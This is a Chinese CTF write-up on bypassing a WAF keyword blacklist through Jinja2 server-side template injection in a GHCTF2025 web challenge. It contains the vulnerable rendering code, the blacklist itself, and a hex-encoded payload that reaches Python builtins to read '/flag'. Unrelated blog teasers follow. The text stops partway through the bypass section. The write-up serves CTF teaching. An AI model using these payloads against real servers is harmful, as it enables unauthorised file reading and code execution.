GHCTF2025-WEB题解:如何用SSTI绕过WAF黑名单(附实战payload)

从GHCTF2025实战出发:深度拆解SSTI黑名单绕过策略与高阶Payload构造

最近在GHCTF2025的WEB赛道上,一道看似简单的文件上传题目,却让不少选手陷入了“知道有洞,但payload总被拦截”的困境。这道题表面上是文件上传,实际上却是一场针对SSTI(服务器端模板注入)绕过能力的深度考验。我在实际测试中发现,很多选手能够快速识别出SSTI漏洞的存在,但在面对严格的黑名单过滤时,却往往束手无策,反复尝试的payload都被WAF无情拦截。

这种情况在真实的渗透测试和CTF比赛中并不少见。WAF(Web应用防火墙)的过滤规则越来越智能,传统的{ {7*7}}测试虽然能确认漏洞,但真正要执行命令、读取文件时,那些包含osflag__builtins__等关键词的payload几乎都会被第一时间拦截。这道题的精妙之处在于,它模拟了一个相对真实的防御环境——不仅过滤常见敏感词,还对下划线这种在Python反射中至关重要的字符进行了拦截。

本文将从实战角度出发,不局限于GHCTF2025这一道题目,而是系统性地探讨SSTI黑名单绕过的核心思路、技术原理和进阶技巧。我会结合自己多次踩坑的经验,分享几种真正有效的绕过方法,并深入分析每种方法背后的Python/Jinja2特性。无论你是CTF新手,还是有一定经验的安全爱好者,相信都能从中获得实用的技术提升。

1. 理解题目环境与WAF过滤机制

在开始构造绕过payload之前,我们必须先彻底理解题目设置的防御环境。很多选手失败的原因不是技术不行,而是没有仔细分析过滤规则,盲目尝试各种已知的payload。

1.1 代码审计:识别真正的攻击面

题目虽然以文件上传为入口,但通过代码审计可以发现,上传功能本身被严格限制:

ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'} def allowed_file(filename): return '.' in filename and \ filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS 

这是典型的白名单过滤,只允许特定扩展名的文件。更重要的是secure_filename()函数的使用,它会清理文件名中的特殊字符,防止路径遍历等攻击。真正的漏洞点在于文件查看功能:

tmp_str = """<!DOCTYPE html> <html lang="zh"> <head>...</head> <body> <h1>文件内容:{name}</h1> <pre>{data}</pre> </body> </html>""".format(name=safe_filename, data=file_data) return render_template_string(tmp_str) 

这里的关键是render_template_string()函数,它将用户控制的文件内容直接渲染为模板。如果文件内容包含Jinja2模板语法,就会被执行。

1.2 WAF黑名单分析

题目中的WAF实现相对简单但有效:

def contains_dangerous_keywords(file_path): dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__', 'flag',] with open(file_path, 'rb') as f: file_content = str(f.read()) for keyword in dangerous_keywords: if keyword in file_content: return True return False 

这个过滤列表设计得相当有针对性:

过滤关键词在SSTI中的作用绕过难度
_属性访问分隔符、双下划线前缀
os执行系统命令的关键模块
subclasses获取子类链的核心方法
__builtins__内置函数和模块的入口
__globals__访问全局命名空间
flag目标文件名
注意:这里的过滤是内容检测,不是参数名检测。这意味着即使我们将payload放在URL参数中,只要文件内容包含这些关键词,就会被拦截。

1.3 初步测试与漏洞确认

在构造复杂payload之前,先用最简单的测试确认漏洞:

# 创建测试文件 echo '{ {7*7}}' > test.txt # 上传后访问 curl http://target/file/test.txt 

如果返回的页面中显示49而不是{ {7*7}},就确认了SSTI漏洞的存在。这个测试payload不包含任何黑名单关键词,所以能顺利通过WAF。

2. 基础绕过技术:编码与字符串操作

当直接使用敏感关键词被拦截时,最直接的思路就是不让这些关键词以明文形式出现。编码和字符串操作是绕过关键词过滤的经典方法。

2.1 十六进制编码绕过

Python和Jinja2都支持十六进制表示法,这为我们绕过关键词检测提供了可能。在Python字符串中,\x后跟两个十六进制数字表示一个字符。

原始payload(会被拦截):

{ { lipsum.__globals__.__builtins__.open('/flag').read() }} 

十六进制编码版本:

{ { lipsum["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["open"]("/fla\x67").read() }} 

Read more

医疗AI场景下算法编程的深度解析(2026新生培训讲稿)(总结)

医疗AI场景下算法编程的深度解析(2026新生培训讲稿)(总结)

项目总结与完整Python程序 通过本书的学习,我们从医疗AI的基础知识出发,系统掌握了经典机器学习算法的原理与医疗应用,深入探讨了数据处理、特征工程、模型评估、可解释性、不平衡问题处理、模型融合等进阶技术,并在第16章中以ICU败血症早期预警系统为例,完整演示了从问题定义到模型部署的全流程。现在,我们将所有这些知识整合为一个统一的Python程序,实现败血症预测的端到端流程,包括: * 模拟生成符合MIMIC-III分布的数据集 * 数据预处理与特征工程 * 多模型训练(逻辑回归、随机森林、XGBoost) * 模型融合(Stacking) * 超参数调优与不平衡处理 * 模型评估(AUC、PR AUC、分类报告、混淆矩阵) * 可解释性分析(SHAP) * 阈值选择与决策曲线 * 模型保存与简单API示例 该程序可直接运行(需要安装相关库),可作为医疗AI项目的模板。 完整Python程序 # -*- coding: utf-8 -*-

By Ne0inhk
配置即资产:从12345政务热线分拨助手看智能体工作流的导出与导入,不用写代码,也能让AI业务流随身携带

配置即资产:从12345政务热线分拨助手看智能体工作流的导出与导入,不用写代码,也能让AI业务流随身携带

1. 前言 如果你正在参与政务数字化转型、12345热线智能化升级,或者只是刚刚接触AI应用的业务人员,这篇文章会用简单通俗的,带你掌握一项让智能体工作流像Word文件一样“复制、粘贴、带走” 的核心技能。 三个让你立刻产生共鸣的亮点: * 亮点1:告别“在我这能跑,到你那就卡”的尴尬 你在办公室拖拽调试好的“12345热线分拨助手”,导入到政务云后所有节点、提示词、逻辑关系原封不动,不用二次开发,不用重新教AI。 * 亮点2:把“配置”变成“资产” 一个精心调优的热线分拨工作流,导出成一个不足100KB的文件,下次新建项目直接导入,甚至可以分享给其他区县、其他地市复用。 * 亮点3:业务人员也能成为“模板贡献者” 你不需要写一行代码,只需要在可视化画布里完成流程编排,点一下“导出”,一个可复用的政务智能体模板就诞生了。 一句话总结: 本文不教你“怎么画流程图”,而是以12345热线分拨助手为样本,手把手教你如何把你画好的流程图打包带走,并在任意政务环境、任意科室中立刻复活它。 2.

By Ne0inhk
在家也能做 AI 导演!本地部署 Wan2.1 视频生成模型全攻略

在家也能做 AI 导演!本地部署 Wan2.1 视频生成模型全攻略

文章目录 * 前言 * 1.软件准备 * 1.1 ComfyUI * 1.2 文本编码器 * 1.3 VAE * 1.4 视频生成模型 * 2.整合配置 * 3. 本地运行测试 * 4. 公网使用Wan2.1模型生成视频 * 4.1 创建远程连接公网地址 * 5. 固定远程访问公网地址 * 总结 前言 Wan2.1 模型搭配 ComfyUI 框架,能实现文本转视频、图片转动画等功能,生成的视频质量可媲美专业工具,普通 PC 就能运行,特别适合自媒体创作者、短视频团队和 AI 爱好者快速制作动态内容,无需复杂技术背景也能上手,且完全开源免费,性价比很高。 使用时发现,选择模型版本要结合显卡配置:

By Ne0inhk
人工智能:自然语言处理在法律领域的应用与实战

人工智能:自然语言处理在法律领域的应用与实战

人工智能:自然语言处理在法律领域的应用与实战 学习目标 💡 理解自然语言处理(NLP)在法律领域的应用场景和重要性 💡 掌握法律领域NLP应用的核心技术(如合同分析、法律文本分类、案例检索) 💡 学会使用前沿模型(如BERT、GPT-3)进行法律文本分析 💡 理解法律领域的特殊挑战(如法律术语、多语言处理、数据隐私) 💡 通过实战项目,开发一个合同分析应用 重点内容 * 法律领域NLP应用的主要场景 * 核心技术(合同分析、法律文本分类、案例检索) * 前沿模型(BERT、GPT-3)在法律领域的使用 * 法律领域的特殊挑战 * 实战项目:合同分析应用开发 一、法律领域NLP应用的主要场景 1.1 合同分析 1.1.1 合同分析的基本概念 合同分析是对合同文本进行分析和处理的过程。在法律领域,合同分析的主要应用场景包括: * 合同审查:自动审查合同(如“条款分析”、“风险评估”

By Ne0inhk